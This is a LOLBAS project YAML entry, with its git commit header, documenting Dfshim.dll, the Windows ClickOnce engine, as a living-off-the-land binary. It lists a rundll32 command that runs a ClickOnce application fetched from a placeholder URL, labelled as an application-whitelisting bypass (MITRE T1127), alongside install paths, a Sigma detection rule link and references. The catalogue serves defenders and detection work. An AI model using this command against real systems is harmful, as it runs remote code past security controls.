LOLBAS/yml/OSLibraries/Dfshim.yml
frack113 4f83231697
Update old sigma link (#303)
* Update SigmaHQ ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Update SigmaHQ ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Update SigmaHq ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Update SigmaHq ref

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

---------

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
2023-10-18 11:30:34 -04:00

29 lines
1.3 KiB
YAML

---
Name: Dfshim.dll
Description: ClickOnce engine in Windows used by .NET
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Usecase: Use binary to bypass Application whitelisting
Category: AWL Bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
Resources:
- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'